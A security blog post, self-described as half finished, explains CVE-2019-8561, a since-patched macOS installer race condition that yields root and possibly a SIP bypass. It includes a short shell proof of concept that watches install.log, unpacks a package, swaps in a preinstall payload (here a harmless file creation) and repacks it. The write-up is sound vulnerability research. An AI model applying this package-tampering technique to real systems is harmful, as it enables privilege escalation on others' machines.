(N.B This is a half finished post that I’m publishing to share the knowledge and get it out of my drafts)

In June 2019 at Objective by the Sea v2.0 (OBTS), Jaron Bradley dropped CVE-2019-8561. It was patched in macOS 10.14.4. It’s still worth writing about though because it is wonderfully simple and gets us r00t as well as a System Integrity Protection (SIP) bypass.

In this post we’ll be using GPG Suite and Apple’s Pro Video Formats 2.1 as our target installer packages. This vulnerability has nothing to do with these packages. GPG Suite happens to be the only application bundled as a package installed on my MacBook and Jaron used Pro Video Formats in his OBTS demo.

Background

Packages (.pkg)

Installation packages are directories, that appear as one file (.pkg) in Finder, which:

…contain a product or product component -the package’s payload— to be installed on a computer, and install configuration information that determines where and how the product is installed. 1

This is what you see after you double click GPG Suite’s Install.pkg file.

no-alignment

installer

installer (/usr/sbin/installer) is the system binary responsible for installing packages. You can also use it to install packages from the command line. We can step through how to install GPG Suite via installer in Terminal.app.

  1. Download GPG Suite
  2. Mount the DMG
    • hdiutil attach "$HOME/Downloads/GPG_Suite-2019.2.dmg"
  3. Change into the DMGs directory
    • cd "/Volumes/GPG Suite/"
  4. Execute ls, you should see a file named Installer.pkg
    0xmachos on 🍎GLaDOS📦 in /Volumes/GPG Suite
    $ ls
    GPGSuite-dmg.png  Install.pkg       Uninstall.app/
    
  5. Tell installer which package to install and where
    • installer -pkg "Install.pkg" -target "/"

system_installd

SIP Background

SIP was introduced in OS X El Capitan (10.11). It’s a security feature which is designed to protect the OS files on disk and at run time.

In short, it prevents modification of certain OS files even by root. However Apple still needs a way to update the OS so:

System Integrity Protection is designed to allow modification of these protected parts only by processes that are signed by Apple and have special entitlements to write to system files, such as Apple software updates and Apple installers. 2

Modification of SIP protected files requires the com.apple.rootless.install entitlement. You can see which system binaries have this entitlement by looking it up in Jonathon Levin’s entitlements database.

Any Apple signed package/ software will be installed by system_installd. I first heard of this binary in Howard Oakley’s How your Mac can download an old ‘security’ update by accident post.

We can use Jonathan Levin’s tool jtool (or codesign -d --entitlements) to dump system_installd entitlements:

0xmachos on 🍎GLaDOS📦 in ~
$ jtool --ent /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_installd
...
  <key>com.apple.private.launchservices.cansetapplicationstrusted</key>
  <true/>
  <key>com.apple.rootless.install.heritable</key>
  <true/>
...

Any binary with the entitlement com.apple.rootless.install.heritable affords child process it spawns the ability to inherit it’s com.apple.rootless.install entitlement. Thus, any package it installs will have the ability to modify SIP protected files.

Patrick Wardle wrote about how this entitlement could be abused to bypass SIP in his 2016 post [0day] Bypassing Apple’s System Integrity Protection.

The Bug

This is a Time of Check Time of Use (TOCTOU) bug within installer and system_installd (Package Kit).

When you initially double click on a .pkg and it’s loaded by Installer there is a small window for an attacker to expand the .pkg modify it and re-flatten it. This User Interface (UI) will still show that the package is correctly code signed and installer will execute the modified files.

Proof of Concept Exploit

In theory all we have to do to exploit the TOCTOU bug is:

  1. Monitor /var/log/install.log for a package being installed
    • Extract the package location
  2. Use pkgutil to expand the package
  3. Modify the package contents to add a payload
  4. Use pkgutil to flatten the package
  5. Wait for the installer to finish
expand_path="/tmp/Install"
# Location to expand pkg into

# Detect package install starting
( tail -f -n 0  /var/log/install.log & ) | grep -q 'Opened from:' 

# Extract package location
pkg_path=$(grep 'Opened from:' /var/log/install.log | tail -1 | cut -d ' ' -f7-)

# Expand package 
pkgutil --expand "${pkg_path}" "${expand_path}"

# Replacing the preinstall script with our payload
preinstall_file="${expand_path}/preinstall.pkg/Scripts/preinstall"

cat <<EOF > "${preinstall_file}"
#!/bin/bash

touch /var/test
chmod +x /var/test
EOF

# Flatten the package
pkgutil --flatten  "${expand_path}" "${expand_path}.pkg"

In reality it’s slightly more complicated, but not by much. There are some permission issues that need to be accounted for and a separate TOCTOU issue that affects how much space the system thinks the target disk image (.dmg) has, if your target package comes on a disk image. We also need to work around read-only disk images.

You can view my full, working, r00t Proof of Concept (PoC) script gpg_poc for all the details.

SIP Bypass

As mentioned above any binary with the entitlement com.apple.rootless.install.heritable affords its child process the ability to bypass SIP. So in theory all we need to do is find a package with with that entitlement and exploit the same TOCTU bug.

Jaron already did the hard work, he found that the Final Cut Pro Video Formats package has com.apple.rootless.install.heritable. This post is half finished so I never managed to get a SIP bypass PoC working. You need to monitor for different events in /var/log/install.log as the TOCTU bug affects system_installd slightly differently than installer.

For the sake of completeness I have published my half done, not currently working, SIP bypass PoC sip_poc.

Conclusion

Crazy simple bug with big impact. The exploitation is very noisy give that it requires you to modify multiple files on disk, re-size a DMG and change file permissions. Still a phenomenal find from Jaron though.

Go watch Jaron’s OBTSv2 talk “Bad Things in Small Packages” where he demonstrates getting r00t, bypassing SIP and explains the bug better than I have above.

You can find all my code for this at 0xmachos/CVE-2019-8561.

Golden Dachshund laying on grass
Photo by Caleb Moreno on Unsplash